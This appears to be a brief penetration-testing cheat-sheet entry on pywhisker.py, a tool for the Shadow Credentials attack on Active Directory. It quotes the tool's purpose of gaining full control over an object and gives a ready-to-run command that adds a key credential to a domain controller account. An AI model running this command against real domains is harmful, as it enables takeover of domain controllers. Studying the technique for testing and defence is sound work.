pywhisker.py

pywhisker "allows users to manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object."

Shadow Credentials from Linux

pywhisker.py -d 'domain.com' -u user-you-have-set-ccahe-to -k --target 'vulndomaincontroller$' --action 'add' --filename vulndc